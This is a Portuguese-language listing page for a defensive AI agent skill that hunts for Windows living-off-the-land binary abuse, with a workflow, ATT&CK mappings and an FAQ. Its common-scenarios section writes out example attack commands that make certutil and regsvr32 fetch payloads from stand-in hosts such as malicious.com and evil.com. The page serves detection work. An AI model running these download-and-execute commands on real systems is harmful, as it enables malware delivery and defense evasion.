hunting-for-living-off-the-land-binaries
Ajuda seu agente a encontrar o uso indevido de binários do sistema para fins maliciosos. É útil para detectar evasão de defesa que usa ferramentas confiáveis.
O que ela faz
Esta ferramenta ajuda a encontrar programas do Windows que parecem normais, mas que criminosos estão usando para fazer coisas ruins no seu computador, como baixar vírus ou executar códigos maliciosos sem ser detectado.
Quando usar
- ✓Quando você suspeita que um vírus está escondido usando programas normais do Windows.
- ✓Ao investigar como um ataque cibernético conseguiu entrar no sistema.
- ✓Para verificar se programas de segurança estão pegando o uso indevido de programas legítimos.
Exemplo do que pedir para a IA
“Procure por programas do Windows sendo usados de forma suspeita para baixar arquivos ou executar comandos.”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
Ela analisa os registros de atividades dos programas no seu computador. Compara o que é normal com o que está acontecendo agora para achar atividades estranhas que podem ser maliciosas.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill hunting-for-living-off-the-land-binariesOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/main/skills/hunting-for-living-off-the-land-binaries/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
Caçando Binários Legítimos Usados para Fins Maliciosos (LOLBins)
Quando Usar
- Ao investigar campanhas de malware sem arquivo que burlam antivírus tradicionais
- Durante caçadas proativas de ameaças focadas em técnicas de evasão de defesa
- Quando alertas de EDR disparam em binários legítimos executando processos filhos incomuns
- Após relatórios de inteligência de ameaças indicarem abuso de LOLBin em campanhas ativas
- Durante exercícios de red team/purple team validando a cobertura de detecção para T1218
Pré-requisitos
- Acesso a telemetria de EDR (CrowdStrike, Microsoft Defender for Endpoint, SentinelOne)
- SIEM com logs de criação de processos (Sysmon Event ID 1, Windows Security 4688)
- Familiaridade com a lista de referência do Projeto LOLBAS (lolbas-project.github.io)
- Logging de linha de comando do PowerShell habilitado (Module Logging, Script Block Logging)
- Logs de proxy de rede ou firewall para correlacionar conexões de saída
Fluxo de Trabalho
- Definir Hipótese de Caçada: Formule uma hipótese baseada em inteligência de ameaças (ex: "Adversários estão usando certutil.exe para baixar payloads de segundo estágio de domínios externos").
- Identificar LOLBins Alvo: Selecione binários específicos do banco de dados do Projeto LOLBAS para caçar, priorizando aqueles que correspondem ao cenário de ameaças atual (certutil, mshta, rundll32, regsvr32, msiexec, wmic, cmstp, bitsadmin).
- Coletar Telemetria de Processos: Consulte o EDR ou SIEM para eventos de criação de processos envolvendo os LOLBins alvo com argumentos de linha de comando incomuns, processos pais ou contextos de execução.
- Estabelecer Comportamento Normal (Baseline): Defina como é o uso legítimo para cada LOLBin em seu ambiente, analisando a frequência histórica, processos pais típicos e argumentos padrão.
- Identificar Anomalias: Compare a telemetria atual com os baselines, sinalizando execuções com conexões de rede, comandos codificados, caminhos de arquivo incomuns ou cadeias de processos pai-filho anormais.
- Correlacionar e Enriquecer: Cruze a atividade anômala de LOLBin com logs de rede, consultas DNS, eventos de criação de arquivos e feeds de inteligência de ameaças.
- Documentar e Relatar: Registre as descobertas, atualize as regras de detecção e crie listas de IOCs para o uso malicioso de LOLBin identificado.
Conceitos Chave
| Conceito | Descrição |
|---|---|
| LOLBin | Binário legítimo do sistema operacional abusado por atacantes para fins maliciosos |
| Projeto LOLBAS | Lista curada pela comunidade de LOLBins, LOLLibs e LOLScripts do Windows |
| T1218 | MITRE ATT&CK - Execução de Proxy por Binário Assinado |
| T1218.001 | Arquivo HTML Compilado (mshta.exe) |
| T1218.002 | Painel de Controle (control.exe) |
| T1218.003 | CMSTP |
| T1218.005 | Mshta |
| T1218.010 | Regsvr32 |
| T1218.011 | Rundll32 |
| T1197 | Tarefas BITS (bitsadmin.exe) |
| T1140 | Desofuscar/Decodificar Arquivos (certutil.exe) |
| Execução de Proxy | Uso de binários confiáveis para executar código não confiável |
| Ataque Sem Arquivo | Ataque que opera principalmente na memória sem deixar arquivos |
Ferramentas e Sistemas
| Ferramenta | Propósito |
|---|---|
| CrowdStrike Falcon | Telemetria de EDR e análise de árvore de processos |
| Microsoft Defender for Endpoint | Caça avançada com consultas KQL |
| Splunk | Agregação de logs SIEM e consultas SPL |
| Elastic Security | Regras de detecção e investigação de linha do tempo |
| Sysmon | Criação detalhada de processos e logging de rede |
| Projeto LOLBAS | Banco de dados de referência de capacidades de LOLBin |
| Sigma Rules | Formato genérico de regra de detecção para LOLBins |
| Velociraptor | Coleta forense de endpoint e caça |
Cenários Comuns
- Cradle de Download com Certutil: O adversário usa
certutil.exe -urlcache -split -f http://malicious.com/payload.exepara baixar malware, contornando proxies web que permitem tráfego do certutil. - Execução de HTA com Mshta: O atacante entrega um arquivo HTA por e-mail que executa um payload VBScript através do
mshta.exe, que é um binário assinado da Microsoft. - Carregamento de DLL de Proxy com Rundll32: Uma DLL maliciosa é carregada via
rundll32.exe shell32.dll,ShellExec_RunDLLpara executar o proxy através de um binário confiável. - Squiblydoo com Regsvr32: Um arquivo SCT remoto é executado via
regsvr32 /s /n /u /i:http://evil.com/file.sct scrobj.dllcontornando a lista de permissões de aplicativos. - Persistência com BITSAdmin: O adversário cria uma tarefa de transferência BITS para baixar e executar payloads repetidamente usando
bitsadmin /transfer.
Formato de Saída
Hunt ID: TH-LOLBIN-[DATA]-[SEQ]
Hipótese: [Hipótese declarada]
LOLBins Investigados: [Lista de binários]
Intervalo de Tempo: [Início] - [Fim]
Fontes de Dados: [EDR, Sysmon, SIEM]
Descobertas:
- [Descoberta 1 com evidências]
- [Descoberta 2 com evidências]
…
Perguntas frequentes
O que são 'LOLBins'?
São programas que já vêm com o Windows, como `certutil.exe` ou `rundll32.exe`, que são legítimos, mas que criminosos podem usar para executar códigos maliciosos sem que os antivírus tradicionais percebam.
Preciso instalar algo para usar essa ferramenta?
Não, você não instala nada. Ela usa informações que já existem nos seus sistemas de segurança (como EDR e SIEM) e em listas de programas conhecidos por serem usados em ataques (como o LOLBAS Project).
Como sei se a atividade encontrada é realmente perigosa?
A ferramenta ajuda a identificar atividades suspeitas. Você precisará analisar essas atividades com base no seu conhecimento e em outras informações de segurança para confirmar se são maliciosas ou apenas um uso incomum, mas legítimo.
Detalhes
Descrição original do autor
Proactively hunts for adversary abuse of legitimate, signed system binaries (LOLBins) used to execute malicious payloads, download files, or proxy execution while evading application allowlisting and defense-evasion controls. Use when building LOLBins detection rules for EDR/SIEM or when threat hunting for defense-evasion activity involving trusted system binaries.
Popularidade
- Estrelas no GitHub
- 35 mil
- Posição no ranking
- #5799
- Licença
- Apache-2.0
- Atualizada em
- 31/08/2026
Comentários
- …
Mais skills deste repositório
abusing-dpapi-for-credential-access
Dá ao seu agente de IA instruções prontas para uma tarefa específica, para ele fazer melhor e mais rápido.
mukul975/Anthropic-Cybersecurity-Skills
abusing-shadow-credentials-for-privesc
Ensina seu agente de IA a escrever textos claros e bem estruturados.
mukul975/Anthropic-Cybersecurity-Skills
achieving-cmmc-level-2-compliance
Ajuda seu agente a preparar um ambiente para conformidade com CMMC Nível 2. Ele implementa requisitos de segurança e gerencia a documentação necessária.
mukul975/Anthropic-Cybersecurity-Skills
acquiring-disk-image-with-dd-and-dcfldd
Ajuda seu agente a criar cópias exatas de discos rígidos. Isso é útil para garantir que nenhuma informação seja perdida ou alterada durante investigações.
mukul975/Anthropic-Cybersecurity-Skills
Skills parecidas
data-throughput-accelerator
Faz seu agente acelerar a movimentação de grandes volumes de dados. Ele encontra gargalos e garante que os dados sejam transferidos de forma rápida e correta.
affaan-m/ECC
inventory-demand-planning
Ajuda seu agente a prever a demanda de produtos em lojas. Ele otimiza o estoque e planeja quando fazer promoções para vender mais.
affaan-m/ECC
market-research
Ajuda seu agente a realizar pesquisas de mercado e análises competitivas. Fornece resumos com atribuição de fontes.
affaan-m/ECC